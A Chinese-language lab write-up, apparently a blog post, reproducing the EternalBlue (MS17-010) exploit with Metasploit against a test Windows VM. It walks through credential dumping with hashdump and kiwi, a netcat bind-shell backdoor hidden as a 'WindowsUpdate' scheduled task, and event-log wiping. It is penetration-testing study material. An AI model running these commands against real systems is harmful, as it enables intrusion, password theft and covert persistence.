前言

本文是我在学习永恒之蓝漏洞过程中的完整复现记录。内容包含漏洞原理、利用步骤、后渗透及持久化控制。所有命令均经过亲自测试,截图均为实验现场。如果你也在学习渗透测试,希望这份报告能帮你少走一些弯路。欢迎交流指正。

1. 漏洞概述

项目 内容
漏洞编号 MS17-010(微软安全公告),包含 CVE-2017-0143 ~ CVE-2017-0148
漏洞名称 EternalBlue(永恒之蓝)
漏洞类型 SMBv1 协议远程代码执行(RCE),内核级缓冲区溢出
影响组件 Windows SMBv1 服务(内核驱动 srv.sys),端口 445
危害等级 高危(CVSS 9.8/10),可获取 SYSTEM 权限
影响系统
客户端系统 Windows NT 4.0、Windows 2000 Professional、Windows XP、Windows Vista、Windows 7、Windows 8、Windows 8.1、Windows RT 8.1、Windows 10(早期版本,如 1507、1511、1607)
服务器系统 Windows Server 2000、Windows Server 2003、Windows Server 2008(含 R2)、Windows Server 2012(含 R2)、Windows Server 2016

背景:永恒之蓝是 2017 年 WannaCry 勒索病毒传播所依赖的核心漏洞。攻击者可向目标发送特制的 SMB 请求,触发内核缓冲区溢出,进而执行任意代码,完全控制目标主机。

2. 漏洞原理

2.1 漏洞根源:整数溢出导致长度计算错误

SMBv1 协议在处理文件扩展属性(FEA,File Extended Attributes)时,需要先计算 FEA 列表的总长度,然后分配内核缓冲区。计算长度的函数为 SrvOs2FeaListSizeToNt

缺陷:该函数内部本应用 32 位无符号整数累加,但程序员错误地使用了 16 位无符号整数 作为累加器。16 位变量最大值 65535。

当攻击者构造一个总长度超过 65535 字节的 FEA 列表(例如 66000 字节)时,累加过程会发生整数溢出:实际存储值 = 真实长度 mod 65536。66000 mod 65536 = 465。

函数返回 465,而不是真实的 66000。

2.2 触发缓冲区溢出

SMB 驱动根据返回的错误长度 465,分配了一个 465 字节的内核缓冲区。随后,驱动将攻击者发送的 66000 字节 FEA 列表复制到这个缓冲区中。

复制数据远超缓冲区容量,导致内核缓冲区溢出,覆盖相邻内存区域,包括函数返回地址、异常处理指针等控制流关键数据。

2.3 精确控制与 shellcode 执行

攻击者在超长 FEA 列表中,在特定偏移处预先布置:

  • shellcode(一段恶意机器码,用于反弹 Meterpreter 会话)

  • 覆盖返回地址的新值(指向 shellcode 的内存地址)

当函数返回时,CPU 跳转到 shellcode,执行后反弹一个 Meterpreter 会话,攻击者获得 SYSTEM 权限。

2.4 为什么该漏洞极其危险?

  • 无需认证:直接发送 SMB 包,不需要用户名密码。

  • 内核级利用:直接攻破操作系统内核,获得最高权限。

  • 稳定性高:Metasploit 模块通过辅助漏洞(CVE-2017-0145、0146 等)精确控制内存布局,成功率极高。

  • 可蠕虫化:WannaCry 利用此漏洞实现自我复制,短时间内感染数十万台机器。

3. 实验环境

角色 操作系统 IP 地址 关键配置
攻击机 Kali Linux 2025.3 192.168.10.224 预装 Metasploit、nmap、netcat
靶机 Windows Server 2008 R2 SP1 192.168.10.142 未打 MS17-010 补丁,SMBv1 开启,防火墙关闭(或放行 445 端口)

网络连接:两台虚拟机使用 VMware 仅主机模式或同一 NAT 网络,确保互通。

能够ping通靶机,证明两台主机互通。

4. 信息收集与漏洞验证

4.1 端口扫描

命令:nmap -T4 -O -v -sV 192.168.10.142

结果:可以看到,端口445是开启的,后面连带着服务:microsoft-ds,还有靶机版本。表明 SMB 服务可访问。

4.2 漏洞检测

在这个实验中,之前也用greenborn进行过漏洞扫描,扫描出了靶机可能存在的漏洞,可以看到靶机是存在永恒之蓝漏洞的,下面是部分扫描截图。

虽然已经通过greenborn扫描出了漏洞的存在,但是还是使用使用 Nmap 的脚本再检测一遍检测漏洞吧:

命令:nmap --script vuln 192.168.10.142

从扫描结果中可以看出,靶机存在永恒之蓝的概率非常大,现在已经基本确定永恒之蓝的存在,下一步可以开始漏洞的利用了。

5. 漏洞利用

启动 Metasploit,使用搜索永恒之蓝(ms17-010)。

命令:msfconsole
search ms17-010

搜索ms17-010后出现了五个工具,其中0号工具位于渗透攻击模块,这个工具就是进行漏洞利用的工具;3号工具可以看到位于辅助模块,从描述中可以看到是可以用来检测永恒之蓝的存在的。接下来可以尝试使用3号工具再次检测漏洞的存在

从截图中可以看到永恒之蓝确实是有很大概率存在。到现在为止我已经用了三个方式来检测该漏洞的存在,接下来就是使用0号工具对永恒之蓝进行漏洞的利用。

命令:use 0

set rhosts 192.168.10.142

从截图中可以看到,选择工具0设置好靶机ip后运行工具,出现了meterpreter会话,到这里我们就成功通过这个工具进入了对方主机,完成了漏洞的复现。

6. 后渗透操作

接下来从这到后面的部分都是我进行的简单的后渗透操作,例如屏幕实时共享、截图、进程迁移、植入后门木马等等。

6.1 查看当前权限与系统信息

命令:getuid
sysinfo

从这可以看出,我们已经通过永恒之蓝成功打入了靶机并取得了最高权限。

6.2 进程迁移(提高稳定性与隐蔽性)

由于原始漏洞进程(如 lsass.exespoolsv.exe)可能不稳定且容易被发现,且易被 EDR 监控。需迁移到用户级交互进程。

下面是我查到的一些进程选择原则和权限使用策略

  1. 优先选择用户交互进程

    • 若目标主机已有用户登录,首选迁移到 explorer.exe。该进程稳定、与桌面交互,支持键盘记录、屏幕截图等操作,且进程名正常,不易引起怀疑。
  2. 若无人登录(停留在登录界面)

    • 迁移到 winlogon.exe。该进程负责登录认证,同样稳定且可捕获用户输入的密码。
  3. 需要执行高权限操作(如抓取哈希、读取 LSASS 内存)时

    • 临时迁移到 lsass.exeservices.exe 等 SYSTEM 权限进程,操作完成后立即迁回稳定进程。
  4. 避免选择极易崩溃或敏感的系统进程

    • 例如 csrss.exesmss.exe 等,注入不当可能导致系统蓝屏。

权限使用策略:遵循“最小权限原则”与“按需提权”相结合。日常后渗透操作(截图、键盘记录、文件浏览)在 explorer.exe(Administrator 权限)下完成;仅在需要抓取哈希、读取 LSASS 内存等高权限操作时,临时迁移到 lsass.exe(SYSTEM 权限),操作完毕后立即迁回 explorer.exe。这样既保证了会话的稳定性与隐蔽性,又能在必要时获取足够权限,避免因长期驻留 SYSTEM 进程而引发系统崩溃或触发安全告警。

进程迁移

命令:ps(可以查到靶机正在运行的进程)
migrate <explorer.exe 的 PID>

由于ps查看到的进程太多了不方便截图我就没有截图,但是我使用ps -S命令直接搜索到了目标进程explorer.exe可以看到它的PID是2861,接下来使用命令migrate2861就可以成功迁移进程到explorer.exe中

6.3 抓取密码哈希与明文

  • NTLM 哈希(用于哈希传递攻击):

    命令:hashdump

    其中 LM 哈希为固定占位符(表示禁用),NTLM 哈希可离线破解。

  • 明文密码(如果 LSASS 中有明文存储):

    命令:load kiwi(加载kiwi模块)
    creds_all

    成功时输出账户名与明文密码。

      这里出现了错误,是由于我之前迁移进程到了administor权限下没有system权限导致运行失败,这进一步验证了之前说的权限使用策略。接下来把进程迁移到system权限中再次验证就可以了(执行完后要记得迁移回来)。

这可以看到,迁移到了system权限下的进程后能成功查看到明文密码。

注意kiwi 需要 SYSTEM 权限,且目标操作系统需允许明文密码缓存(默认 Win2008 R2 可能已禁用,但实验环境可调策略)。若失败,不影响整体。

6.4 屏幕截图与实时监控

  • 单次截图

    命令:screenshot

    保存当前桌面截图到攻击机。

这里是已经成功截屏了,截屏的图片就保存在图中的路径

  • 实时屏幕共享(通过浏览器):

    命令:screenshare

    启动 HTTP 服务,访问提供的 URL 即可实时观看靶机屏幕。

这里是正在进行屏幕共享的,运行这个命令后会自动打开浏览器显示共享,这里我就没有做截图了

7. 持久化后门(即使漏洞修复仍可控制)

为了防止靶机安装补丁后失去访问,植入独立后门并设置开机自启。

7.1 上传 nc.exe

bash

命令:upload /usr/share/windows-binaries/nc.exe C:\\Windows\\System32\\

执行命令后可以看到nc.exe已经成功上传到了靶机对应的路径。

nc是kali里面自带的一款后门程序,默认路径就是命令中的路径

nc 是经典网络工具,可监听端口并绑定 cmd。

7.2 防火墙放行端口(或临时关闭防火墙)

由于外部想要连接进来要经过防火墙,所以通过命令开启一个防火墙后门端口,让nc.exe监听这个端口,后续就可以通过这个端口访问靶机                                                              也可以直接关闭防火墙,但是这样容易被管理员发现,所以选择开启一个后门端口更加稳妥。

shell                                                                                                                                                    chcp 65001 (这是为了设置编码格式位UTF-8避免出现乱码)
netsh firewall add portopening tcp 444 backdoor enable all
exit

可以看到一个名为backdoor的规则被创建了。

7.3 创建计划任务自启动

为了保证这个后门能够长期使用,可以创建一个计划任务设置为开机自启动

shell
schtasks /create /tn "WindowsUpdate" /ru SYSTEM /tr "C:\Windows\System32\nc.exe -Ldp 444 -e cmd.exe" /sc onstart
exit

可以看到计划任务中多出了一个我们刚刚创建的nc任务,这个名字可以改成windowsupdate之类的名字,虽然还是容易被发现,但是总好过我这样nc这么明显的名字吧。

7.4 测试后门连接

在 Kali 端:

bash

nc 192.168.10.142 444

成功连接后出现 cmd 提示符,可执行任意命令。

8. 痕迹清理

攻击后应清除系统日志,减少被溯源风险。

bash

clearev

该命令会清除应用程序、安全、系统三类事件日志。

注意clearev 本身会在安全日志中留下事件 ID 1102(日志被清空),但实验环境可接受。更高级的清理可使用 wevtutil 选择性删除。

9. 防御建议

安装补丁程序,这是最彻底的方式

从微软官方下载好补丁程序后运行

重启后回到kali中使用msf中的检测工具再次检测发现永恒之蓝漏洞不存在了

重新打开一个终端尝试用我们植入的后门程序nc.exe尝试连接

从截图可以看出,漏洞被修复后仍可以使用我们植入的后门木马成功连接进入终端,说明这个简单的持久化后门是成功了的。

10. 总结

本次实验完整复现了永恒之蓝(MS17-010)漏洞从信息收集、漏洞利用、后渗透到持久化控制的全部攻击链。通过实践,能深入理解了以下关键点:

  1. 漏洞原理:SMBv1 协议在处理文件扩展属性(FEA)时,因整数溢出导致内核缓冲区溢出,攻击者可借此远程执行任意代码并获得 SYSTEM 权限。

  2. 攻击流程:使用 Nmap 进行端口扫描与漏洞验证,通过 Metasploit 的 ms17_010_eternalblue 模块成功获取 Meterpreter 会话,随后完成进程迁移、密码抓取、键盘记录、屏幕监控等后渗透操作。

  3. 权限维持:通过上传 nc.exe 并创建计划任务,实现了系统重启后的持久化控制,同时利用 clearev 清理痕迹,模拟真实攻击的收尾工作。

11.参考资料

原理分析 奇安信威胁情报中心:永恒之蓝深度分析 https://ti.qianxin.com/blog/articles/detailed-analysis-of-eternalblue/
原理分析 阿里云开发者社区:永恒之蓝漏洞攻击原理与防护加固 https://developer.aliyun.com/article/1490112
复现案例 CSDN:永恒之蓝漏洞详细复现 https://blog.csdn.net/mooyuan/article/details/155166247
复现案例 博客园:永恒之蓝漏洞复现 https://www.cnblogs.com/yuyi123/p/17053274.html
复现案例 阿里云开发者社区:MS17-010漏洞利用实战 https://developer.aliyun.com/article/1499981
复现案例 腾讯云开发者社区:永恒之蓝漏洞详解与复现 https://cloud.tencent.cn/developer/article/2148793
补丁下载 微软官方补丁 KB4012598 http://www.catalog.update.microsoft.com/Search.aspx?q=KB4012598

Logo

腾讯云面向开发者汇聚海量精品云计算使用和开发经验,营造开放的云计算技术生态圈。

更多推荐